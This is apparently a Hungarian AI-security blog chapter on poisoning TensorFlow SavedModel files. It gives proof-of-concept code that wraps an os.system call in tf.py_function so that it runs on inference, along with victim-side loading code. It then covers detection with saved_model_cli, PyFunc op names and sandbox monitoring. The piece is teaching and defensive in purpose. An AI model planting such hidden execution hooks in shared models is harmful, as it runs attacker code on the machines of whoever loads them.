29.3.2 TensorFlow SavedModel mérgezés

2025.10.06.
AI Biztonság Blog

Míg az előző fejezetben a PyTorch pickle formátumának klasszikus deserializációs sebezhetőségét vizsgáltuk, a TensorFlow SavedModel formátuma egy másfajta, alattomosabb fenyegetést rejt. Itt a probléma nem egy általános célú szerializációs könyvtárban keresendő, hanem magában a modell formátumának lényegében: a SavedModel nem csupán súlyokat tárol, hanem egy teljes, végrehajtható számítási gráfot.

Kapcsolati űrlap

AI Biztonság kérdésed van? Itt elérsz minket:

A kulcsgondolat: A TensorFlow modell nem adat, hanem program. A modell betöltése egyenértékű egy ismeretlen forrásból származó program futtatásával. A gráf csomópontjai nemcsak matematikai műveletek lehetnek, hanem tetszőleges, a gazdarendszeren futó kódot is meghívhatnak.

Ez a paradigmaeltolódás alapjaiban változtatja meg a fenyegetési modellt. A támadónak nem kell egy meglévő sebezhetőséget kihasználnia; egyszerűen csak be kell építenie a kártékony kódot egy legálisnak tűnő műveletbe a modell gráfján belül.

A támadási vektor: A tf.py_function mint trójai faló

A TensorFlow egyik rendkívül rugalmas, de egyben veszélyes funkciója a tf.py_function. Ez az operátor lehetővé teszi, hogy tetszőleges Python kódot becsomagoljunk egy TensorFlow műveletbe, ami aztán a számítási gráf részévé válik. Egy fejlesztő számára ez hasznos lehet egyedi adat-előfeldolgozási lépések vagy nem triviális logikák implementálására. Egy támadó számára pedig ez a tökéletes hátsó ajtó.

A támadás menete pofonegyszerű:

  1. Előkészítés: A támadó létrehoz egy rosszindulatú Python függvényt, ami például parancsot futtat a rendszeren, adatot szivárogtat ki, vagy letölt egy második fázisú payloadot.
  2. Becsomagolás: Ezt a függvényt a tf.py_function segítségével egy szabványos TensorFlow operátorrá alakítja.
  3. Beágyazás: A kártékony operátort beilleszti egy egyébként ártalmatlannak tűnő modell gráfjába. Ez lehet egy aktivációs függvény helyén, egy rejtett rétegben, vagy akár a modell inicializációs logikájában.
  4. Terjesztés: A mérgezett modellt feltölti egy publikus modell-hubra (pl. Hugging Face), egy GitHub repóba, vagy célzottan juttatja el az áldozathoz.

A mérgezett modell létrehozása

Nézzük meg, hogyan néz ki ez a gyakorlatban. Az alábbi kódrészlet egy egyszerű modellt hoz létre, amely egy rejtett, kártékony műveletet tartalmaz.

import tensorflow as tf
import os
import numpy as np

# 1. A kártékony payload definiálása egy Python függvényben
def malicious_payload(x):
 # A parancs, ami lefut a gazdarendszeren.
 # Itt bármi lehet: adatlopás, reverse shell, stb.
 # Fontos: A parancs kimenetét vissza kell adni, hogy a gráf érvényes maradjon.
 command = "echo 'Payload executed by user: $(whoami)' > /tmp/pwned.txt"
 os.system(command)
 # Visszaadjuk a bemeneti tensort, hogy a modell működése ne szakadjon meg.
 return x

# 2. A modell definiálása egy kártékony réteggel
class PoisonedModel(tf.Module):
 def __init__(self):
 super(PoisonedModel, self).__init__()
 self.dense = tf.keras.layers.Dense(1)

 @tf.function(input_signature=[tf.TensorSpec(shape=None, dtype=tf.float32)])
 def __call__(self, x):
 # 3. A Python függvény becsomagolása tf.py_function-nel
 # A Tout=[tf.float32] biztosítja a típushelyességet a gráfban.
 x_processed = tf.py_function(func=malicious_payload, inp=[x], Tout=[tf.float32])
 # A modell látszólag normálisan működik tovább
 return self.dense(x_processed)

# A modell mentése SavedModel formátumban
model = PoisonedModel()
tf.saved_model.save(model, "poisoned_model_directory")

Az áldozat oldala: A gyanútlan végrehajtás

Az áldozat letölti a „hasznos” modellt, és mindössze egyetlen sor kóddal aktiválja a rejtett payloadot.

import tensorflow as tf
import numpy as np

# Az áldozat betölti a gyanútlan modellt
loaded_model = tf.saved_model.load("poisoned_model_directory")

# A payload végrehajtódik, amint a __call__ függvényt (vagy bármely
# más, a kártékony op-ot tartalmazó szignatúrát) meghívják.
print("Modell inferencia futtatása...")
input_data = tf.constant(np.random.rand(10, 10), dtype=tf.float32)
_ = loaded_model(input_data)
print("Inferencia kész. Ellenőrizd a /tmp/pwned.txt fájlt!")

A fenti példában a /tmp/pwned.txt fájl létrehozása egyértelmű bizonyíték. Egy valós támadás során a payload sokkal rejtettebb lenne, például egy csendes hálózati kapcsolatot létesítene egy C2 szerverrel.

TÁMADÓ OLDAL ÁLDOZAT OLDAL 1. Kártékony Python kód 2. Csomagolás `tf.py_function` 3. Beágyazás modell gráfba 4. Mentés `SavedModel` 5. Modell letöltése 6. Betöltés `tf.load()` PAYLOAD VÉGREHAJTVA

Felderítés és védekezés

Szerencsére nem vagyunk teljesen védtelenek. A SavedModel formátum strukturáltsága lehetővé teszi a statikus és dinamikus analízist is.

Alapszabály: Kezelj minden ismeretlen forrásból származó modellt potenciálisan rosszindulatú, végrehajtható fájlként. Ne futtasd megbízható, izolált környezeten kívül!

Statikus analízis: A grafikon boncolása

Mielőtt betöltenénk egy modellt, megvizsgálhatjuk a szerkezetét. A TensorFlow beépített saved_model_cli eszköze az első védelmi vonal.

# A modell szignatúráinak és műveleteinek listázása
saved_model_cli show --dir poisoned_model_directory --all

A parancs kimenetében gyanús operátorneveket kell keresnünk. A tf.py_function a gráfban jellemzően PyFunc vagy EagerPyFunc néven jelenik meg. Ha ilyet találsz egy olyan modellben, ahol nem számítasz rá, az azonnali vörös zászló.

Fejlettebb statikus analízis során magát a saved_model.pb (Protocol Buffer) fájlt is lehet elemezni, és szöveges konstansok (pl. URL-ek, parancsok, fájlnevek) után kutatni benne, bár ezeket a támadók gyakran obfuszkálják.

Dinamikus analízis: A homokozó ereje

A legbiztosabb módszer a modell futásidejű viselkedésének elemzése egy szigorúan kontrollált, izolált környezetben (sandbox). Ez lehet egy Docker konténer, egy virtuális gép, vagy egy speciális elemző platform.

A homokozóban a következőket kell figyelni:

  • Hálózati forgalom: A modell megpróbál-e ismeretlen címekre csatlakozni? Titkosítatlan adatokat küld?
  • Fájlrendszer-hozzáférés: Létrehoz, módosít vagy olvas a modell váratlan helyeken lévő fájlokat?
  • Rendszerhívások: Indít-e a modell új processzeket (pl. fork, execve)? Hozzáfér-e érzékeny rendszerinformációkhoz?

Az olyan eszközök, mint az strace (rendszerhívások), a tcpdump (hálózati forgalom) vagy a Falco (futásidejű biztonsági elemző) felbecsülhetetlen értékűek a dinamikus analízis során.

Védekezési stratégiák összefoglalása

Módszer Leírás Előny Hátrány
Forrásellenőrzés Csak megbízható, ellenőrzött forrásokból (pl. hivatalos TensorFlow Hub, verifikált Hugging Face repók) származó modellek használata. Egyszerű, a kockázatot jelentősen csökkenti. Korlátozza a rendelkezésre álló modellek körét.
Statikus Analízis A modell gráfjának vizsgálata gyanús operátorok (pl. PyFunc) után kutatva a betöltés előtt. Gyors, nem igényel futtatást. Obfuszkált payloadok ellen hatástalan lehet.
Dinamikus Analízis A modell futtatása izolált, monitorozott környezetben (sandbox) a viselkedés elemzésére. A leghatékonyabb módszer a rejtett, rosszindulatú viselkedés felderítésére. Erőforrás- és időigényes, szakértelmet kíván.

Összefoglalva, a TensorFlow SavedModel formátumának ereje és rugalmassága egyben a legnagyobb gyengesége is. Red Teamerként ezt a vektort ki kell ismernünk a támadások szimulálásához, védőként pedig tisztában kell lennünk a kockázatokkal és a rendelkezésre álló ellenőrzési mechanizmusokkal. Soha ne bízz meg vakon egy letöltött modellben!